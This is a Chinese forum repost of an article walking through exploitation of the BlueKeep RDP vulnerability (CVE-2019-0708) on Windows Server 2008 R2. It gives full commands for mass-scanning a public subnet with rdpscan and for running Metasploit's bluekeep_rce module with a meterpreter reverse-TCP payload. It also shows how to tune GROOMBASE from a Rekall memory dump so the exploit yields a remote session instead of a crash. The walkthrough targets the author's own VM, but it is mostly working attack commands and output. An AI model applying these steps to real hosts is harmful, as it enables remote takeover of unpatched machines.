搜索

[28765] 2021-02-15_黑客如何利用Windows服务器上的Bluekeep漏洞

文档创建者：s7ckTeam
浏览次数：56
最后更新：2025-01-19
2021-02-15_黑客如何利用Windows服务器上的Bluekeep漏洞 黑 客 如 何 利 用 W i n d o w s 服 务 器 上 的 B l u e k e e p 漏 洞 O t s 安 全   2 0 2 1 - 0 2 - 1 5 B l u e K e e p （ C V E - 2 0 1 9 - 0 7 0 8 ） 是 在 M i c r o s o f t 的 远 程 桌 面 协 议 实 现 中 发 现 的 一 个 安 全 漏 洞 。 首 次 报 告 于 2 0 1 9 年 5 月 ， 它 存 在 于 W i n d o w s   2 0 0 0 至 W i n d o w s   S e r v e r   2 0 0 8 R 2 和 W i n d o w s   7 的 所 有 未 修 补 的 基 于 W i n d o w s   N T 的 M i c r o s o f t   W i n d o w s 版 本 中 。 微 软 于 2 0 1 9 年 5 月 1 4 日 发 布 了 一 个 安 全 补 丁 . 2 0 1 9 年 8 月 1 3 日 ， 据 报 道 相 关 的 B l u e K e e p 安 全 漏 洞 （ 统 称 为 D e j a B l u e ） ） 会 影 响 W i n d o w s 的 较 新 版 本 ， 包 括 W i n d o w s   7 和 直 至 W i n d o w s   1 0 的 所 有 最 新 版 本 。 与 旧 版 W i n d o w s 一 样 。 资 料 来 源 ： 资 料 来 源 ： W i k i p e d i a . o r g 攻 击 解 剖 攻 击 解 剖 远 程 桌 面 协 议 （ R D P ） 允 许 在 对 用 户 进 行 身 份 验 证 之 前 ， 客 户 端 和 服 务 器 之 间 进 行 大 量 通 信 和 交 互 。 而 这 恰 恰 是 B l u e K e e p 在 今 年 夏 天 初 爆 发 时 所 利 用 的 。 R D P 显 示 一 个 远 程 G U I 登 录 屏 幕 ， 用 户 可 以 在 其 中 输 入 其 用 户 名 和 密 码 。 在 该 会 话 的 建 立 过 程 中 ， B l u e K e e p 尝 试 将 任 意 代 码 写 入 服 务 器 的 内 核 内 存 ， 然 后 诱 使 服 务 器 执 行 该 代 码 。 发 起 攻 击 很 复 杂 ， 但 是 除 了 具 有 远 程 攻 击 者 可 以 访 问 的 具 有 R D P （ 通 常 为 T C P   3 3 8 9 ） 的 W i n d o w s   7 或 2 0 0 8   R 2 系 统 未 打 补 丁 之 外 ， 没 有 其 他 先 决 条 件 。 前 提 条 件 前 提 条 件 在 本 文 中 ， 我 们 将 看 到 黑 客 如 何 使 用 B l u e K e e p 远 程 使 易 受 攻 击 的 W i n d o w s 计 算 机 崩 溃 ， 并 最 终 尝 试 将 远 程 代 码 注 入 其 中 以 执 行 它 。 在 继 续 并 能 够 部 署 此 方 案 之 前 ， 您 需 要 在 计 算 机 中 存 在 以 下 各 项 ： V i r t u a l B o x   5 或 6 将 托 管 易 受 攻 击 的 W i n d o w s   S e r v e r 。 易 受 攻 击 的 W i n d o w s 映 像 磁 盘 （ 您 可 以 在 官 方 下 载 页 面 中 下 载 W i n d o w s   2 0 0 8   R 2 ） 。 已 安 装 M e t a s p l o i t 的 L i n u x 机 器 （ 可 以 是 物 理 机 或 虚 拟 机 ） 。 R D P S c a n 将 用 于 扫 描 我 们 的 网 络 并 检 测 C V E - 2 0 1 9 - 0 7 0 8 漏 洞 。 R e k a l l 内 存 取 证 将 用 于 从 R A M 转 储 中 提 取 N P P 地 址 。 使 用 使 用 R D P S C A N 查 找 易 受 攻 击 的 目 标 查 找 易 受 攻 击 的 目 标 在 在 U b u n t u   /   D e b i a n 和 其 他 衍 生 发 行 版 上 安 装 和 其 他 衍 生 发 行 版 上 安 装 R D P S c a n 一 旦 安 装 了 R D P S c a n ， 您 将 需 要 运 行 以 下 命 令 来 扫 描 网 络 。 或 扫 描 整 个 子 网 输 出 输 出 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / r o b e r t d a v i d g r a h a m / r d p s c a n c d r d p s c a n s u d o m a k e . / r d p s c a n   1 8 2 . 2 5 3 . 0 . 1 - 1 8 2 . 2 5 3 . 2 5 5 . 2 5 5 . / r d p s c a n   1 8 2 . 2 5 3 . 0 . 0 / 2 4
对 于 每 个 扫 描 的 地 址 ， 这 将 产 生 3 个 结 果 之 一 ： 安 全 安 全 - 如 果 目 标 确 定 已 对 机 器 人 进 行 了 修 补 或 至 少 需 要 C r e d S S P   /   N L A 脆 弱 脆 弱 - 如 果 目 标 已 被 确 认 为 脆 弱 未 知 未 知 - 如 果 目 标 没 有 响 应 或 发 生 某 些 协 议 故 障 如 果 目 标 I P 地 址 不 存 在 任 何 内 容 ， 则 较 旧 的 版 本 会 显 示 消 息 “ 未 知 - 连 接 超 时 ” 。 扫 描 大 型 网 络 时 ， 这 会 产 生 过 多 的 关 于 您 不 关 心 的 系 统 的 信 息 。 您 可 以 通 过 增 加 工 作 人 员 数 量 来 提 高 扫 描 大 型 网 络 的 速 度 ： 发 射 攻 击 发 射 攻 击 如 果 您 站 在 这 里 ， 我 确 定 您 将 不 耐 烦 地 打 开 M e t a s p l o i t 控 制 台 来 测 试 此 漏 洞 。 我 们 将 使 用 以 下 常 见 选 项 来 首 次 运 行 E x p l o i t ， 以 查 看 受 害 者 计 算 机 上 正 在 发 生 的 情 况 。 在 上 述 配 置 中 ， 受 害 计 算 机 的 名 称 为 1 9 2 . 1 6 8 . 1 . 1 0 5 ， 攻 击 者 计 算 机 的 名 称 为 1 9 2 . 1 6 8 . 1 . 1 0 2 ， 我 们 使 用 了 专 门 为 W i n d o w s 计 算 机 制 作 的 通 用 反 向 T C P 有 效 负 载 ， 目 前 将 目 标 目 标 设 置 为 “   1 ” 。 输 出 输 出 r d p s c a n   - - w o r k e r s   1 0 0 0 0   1 8 2 . 2 5 3 . 0 . 0 / 2 4 m s f c o n s o l e m s f 5   >   u s e   e x p l o i t / w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s h o w   o p t i o n s [ . . . ] m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   R H O S T S   1 9 2 . 1 6 8 . 1 . 1 0 5 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   P A Y L O A D   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 1 . 1 0 2 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   L P O R T   4 4 4 4 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s h o w   t a r g e t s [ . . . ] m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   T A R G E T   2 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   e x p l o i t [ * ]   S t a r t e d   r e v e r s e   T C P   h a n d l e r   o n   1 9 2 . 1 6 8 . 1 . 1 0 2 : 4 4 4 4 [ + ]   1 9 2 . 1 6 8 . 1 . 1 0 5 : 3 3 8 9   -   T h e   t a r g e t   i s   v u l n e r a b l e .   T h e   t a r g e t   a t t e m p t e d   c l e a n u p   o f   t h e   i n c o r r e c t l y - b o u n d   M S _ T 1 2 0   c h a n n e l . [ * ]   1 9 2 . 1 6 8 . 1 . 1 0 5 : 3 3 8 9   -   U s i n g   C H U N K   g r o o m i n g   s t r a t e g y .   S i z e   2 5 0 M B ,   t a r g e t   a d d r e s s   0 x f f f f f a 8 0 1 3 2 0 0 0 0 0 ,   C h a n n e l   c o u n t   1 . [ * ]   1 9 2 . 1 6 8 . 1 . 1 0 5 : 3 3 8 9   -   S u r f i n g   c h a n n e l s   . . . [ * ]   1 9 2 . 1 6 8 . 1 . 1 0 5 : 3 3 8 9   -   L o b b i n g   e g g s   . . . [ * ]   1 9 2 . 1 6 8 . 1 . 1 0 5 : 3 3 8 9   -   F o r c i n g   t h e   U S E   o f   F R E E ' d   o b j e c t   . . . [ * ]   E x p l o i t   c o m p l e t e d ,   b u t   n o   s e s s i o n   w a s   c r e a t e d . m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >
做 得 好 ！ 似 乎 我 们 的 攻 击 已 完 成 ， 但 尚 未 创 建 仪 表 计 量 器 仪 表 计 量 器 会 话 ， 并 且 我 们 唯 一 能 够 在 受 害 者 的 计 算 机 上 进 行 的 操 作 是 使 用 可 怕 的 蓝 屏 崩 溃 该 蓝 屏 ， 该 蓝 屏 一 定 会 让 在 屏 幕 后 面 的 用 户 感 到 恐 惧 这 次   ！ ！ 这 就 是 我 们 所 能 做 的 吗 ？ 探 索 蓝 鲸 探 索 蓝 鲸 如 项 目 的 G i t h u b 对 话 页 所 述 ： 该 模 块 当 前 被 列 为 “ 手 动 ” ， 因 为 用 户 需 要 提 供 其 他 目 标 信 息 ， 否 则 有 可 能 使 目 标 主 机 崩 溃 。 该 模 块 实 现 了 默 认 的 纯 指 纹 目 标 选 项 ， 该 选 项 仅 检 查 有 漏 洞 的 主 机 并 显 示 有 关 特 定 目 标 操 作 系 统 的 一 些 初 始 信 息 ， 但 是 用 户 将 需 要 根 据 辅 助 侦 查 指 定 更 精 确 的 目 标 ， 或 者 直 到 对 此 进 行 进 一 步 改 进 为 止 模 块 可 以 在 运 行 时 更 准 确 地 确 定 目 标 内 核 内 存 布 局 。 因 此 ， 按 照 k l a u s . h o h e n p o e l z . d e 的 提 示 ， 您 将 在 此 阶 段 开 始 处 理 您 的 第 一 个 问 题 ！ 让 我 们 花 点 时 间 阅 读 c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e . r b 文 件 开 头 的 注 释 注 释 ， 您 可 以 在 下 面 的 屏 幕 截 图 中 找 到 该 注 释 。 编 辑 编 辑 F D I S A B L E C A M 设 置 设 置 具 体 而 言 ， 这 意 味 着 当 前 仅 与 C V E - 2 0 1 9 - 0 7 0 8 关 联 的 M e t a s p l o i t 漏 洞 利 用 程 序 仅 在 将
密 钥 设 置 为 零 且 主 要 问 题 是 注 册 表 项 仍 使 用 默 认 设 置 的 情 况 下 才 可 以 使 用 。 因 此 ， 要 在 目 标 计 算 机 上 进 一 步 移 动 ， 必 须 按 照 以 下 屏 幕 截 图 打 开 并 将 密 钥 设 置 为 “   0 ” 。 f D i s a b l e C a m R e g i s t r y   E d i t o r f D i s a b l e C a m
从 目 标 机 器 中 提 取 从 目 标 机 器 中 提 取 R A M 转 储 转 储 如 下 面 的 屏 幕 快 照 中 所 述 ， 要 继 续 前 进 ， 我 们 需 要 获 取 正 确 的 G R O O M B A S E 值 ， 该 值 是 N o n P a g e d P o o l 区 域 （ N P P ） 的 起 始 地 址 。 ， 我 们 将 从 目 标 计 算 机 的 内 存 转 储 中 提 取 N P P 地 址 ， 这 很 容 易 做 到 ， 因 为 我 们 托 管 了 它 。 如 果 使 用 V i r t u a l B o x ， 则 可 以 快 速 完 成 此 操 作 。 为 此 ， 您 首 先 需 要 启 动 目 标 计 算 机 （ V M ） ， 一 旦 准 备 好 使 用 以 下 命 令 ， 则 需 要 ： 从 从 R A M 转 储 中 获 取 转 储 中 获 取 N P P 地 址 地 址 我 们 将 使 用 R e k a l l 进 行 此 操 作 。 但 是 ， 如 果 您 是 司 法 鉴 定 专 家 ， 则 也 可 以 使 用 V o l a t i l i t y   F r a m e w o r k ， 该 方 法 可 以 使 您 执 行 相 同 操 作 。 如 果 您 的 计 算 机 上 尚 未 安 装 R e k a l l ， ， 则 可 以 按 照 以 下 说 明 进 行 操 作 。 有 关 此 工 具 的 更 多 信 息 ， 您 可 以 访 问 项 目 的 G i t h u b 页 面 。 根 据 来 源 在 根 据 来 源 在 L i n u x 上 安 装 上 安 装 / 设 置 设 置 R e k a l l 内 存 取 证 内 存 取 证 从 从 D o c k e r 安 装 安 装 / 设 置 设 置 R e k a l l 内 存 取 证 内 存 取 证 如 果 您 愿 意 ， 可 以 使 用 D o c k e r 进 行 工 作 ， 则 此 D o c k e r f i l e 表 示 一 个 封 装 了 R e k a l l   M e m o r y   F o r e n s i c   F r a m e w o r k 的 D o c k e r 映 像 。 要 在 安 装 D o c k e r 之 后 运 行 此 映 像 ， 请 使 用 如 下 命 令 ： 要 使 用 R e k a l l 的 W e b 控 制 台 ， 请 使 用 - p 参 数 调 用 容 器 ， 以 使 主 机 访 问 容 器 的 T C P 端 口 8 0 0 0 ， 如 下 所 示 ： 准 备 好 上 述 R e k a l l 设 置 选 项 之 一 后 ， 只 需 执 行 以 下 命 令 即 可 从 先 前 创 建 的 V M 内 存 转 储 中 提 取 所 需 的 信 息 。 用 法 用 法 V B o x M a n a g e   d e b u g v m   " V M - N a m e "   d u m p v m c o r e   - - f i l e n a m e = v m . m e m d u m p s u d o   a p t   - y   u p d a t e p i p   i n s t a l l   v i r t u a l e n v v i r t u a l e n v   / t m p / M y E n v s o u r c e   / t m p / M y E n v / b i n / a c t i v a t e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g o o g l e / r e k a l l . g i t   r e k a l l p i p 3   i n s t a l l   - - e d i t a b l e   r e k a l l / r e k a l l - l i b p i p 3   i n s t a l l   - - e d i t a b l e   r e k a l l / r e k a l l - c o r e p i p 3   i n s t a l l   - - e d i t a b l e   r e k a l l / r e k a l l - a g e n t p i p 3   i n s t a l l   - - e d i t a b l e   r e k a l l s u d o   m k d i r   ~ / f i l e s s u d o   c h m o d   a + x w r   ~ / f i l e s s u d o   d o c k e r   r u n   - - r m   - u   0   - i t   - v   ~ / f i l e s : / h o m e / n o n r o o t / f i l e s   r e m n u x / r e k a l l   b a s h s u d o   d o c k e r   r u n   - - r m   - u   0   - i t   - p   8 0 0 0 : 8 0 0 0   - v   ~ / f i l e s : / h o m e / n o n r o o t / f i l e s   r e m n u x / r e k a l l r e k a l l   - f   / p a t h / t o / y o u r / d u m p / f i l e . m e m d u m p   p o o l s
输 出 输 出 哇 ！ 看 来 我 们 终 于 找 到 了 我 们 想 要 的 东 西 ！ 突 出 显 示 ， 我 们 可 以 看 到 R e k a l l 从 虚 拟 机 的 内 存 转 储 中 提 取 的 N o n P a g e d P o o l 的 “ 开 始 ” 地 址 。 现 在 ， 我 们 可 以 复 制 此 值 来 编 辑 M e t a s p l o i t 漏 洞 的 G R O O M B A S E 参 数 。 设 置 您 的 探 索 设 置 您 的 探 索 根 据 所 使 用 的 操 作 系 统 ， M e t a s p l o i t 目 录 的 路 径 可 能 与 下 面 描 述 的 示 例 不 同 。 要 找 出 您 的 M e t a s p l o i t 的 路 径 ， 您 可 以 使 用 以 下 命 令 。 找 到 以 下 行 ， 并 用 上 用 上 一 步 中 找 到 的 替 换 G R O O M B A S E 。 重 要 提 示 重 要 提 示 ： R e k a l l 会 在 地 址 字 符 串 的 开 头 删 除 四 个 ' f ' ， 因 此 您 必 须 手 动 添 加 它 才 能 获 得 1 8 个 字 符 的 长 度 。 完 成 文 件 处 理 后 ， 使 用 C T R L   +   x 保 存 文 件 ， 然 后 使 用 以 下 命 令 重 新 加 载 所 有 M e t a s p l o i t 模 块 。 你 们 都 做 完 了 ！ 您 可 以 像 之 前 一 样 重 新 开 始 对 M e t a s p l o i t 的 攻 击 过 程 ， 但 是 现 在 我 们 还 将 指 定 G R O O M S I Z E 值 。 l o c a t e s u d o   n a n o   / o p t / m e t a s p l o i t - f r a m e w o r k / e m b e d d e d / f r a m e w o r k / m o d u l e s / e x p l o i t s / w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e . r b #   T h i s   w o r k s   w i t h   V i r t u a l b o x   6 ' W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   V i r t u a l b o x   6 ) ' , {   ' P l a t f o r m '   = >   ' w i n ' ,   ' A r c h '   = >   [ A R C H _ X 6 4 ] ,     ' G R O O M B A S E '   = >   0 x f f f f f a 8 0 0 1 8 0 4 0 0 0   } m s f 5   >   r e l o a d _ a l l m s f c o n s o l e m s f 5   >   u s e   e x p l o i t / w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   R H O S T S   1 9 2 . 1 6 8 . 1 . 1 0 5 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   P A Y L O A D   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 1 . 1 0 2 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   L P O R T   4 4 4 4 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   T A R G E T   2 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   G R O O M S I Z E   2 0 0 m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   e x p l o i t
如 您 在 上 面 的 屏 幕 截 图 中 所 见 所 见 ， 创 建 了 一 个 M e t e r p r e t e r 会 话 ， 现 在 我 可 以 在 受 害 者 的 计 算 机 上 做 任 何 我 想 做 的 事 情 。 关 于 G R O O M S I Z E ， 我 使 用 了 2 0 0 M B ， 因 为 我 的 V M 正 在 运 行 2 个 处 理 器 ， 内 存 为 4 G B 。 但 是 对 于 在 一 个 p r o c 上 运 行 的 具 有 2 G B   R A M 的 普 通 虚 拟 机 ， 正 确 的 值 可 能 约 为 5 0 M B 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理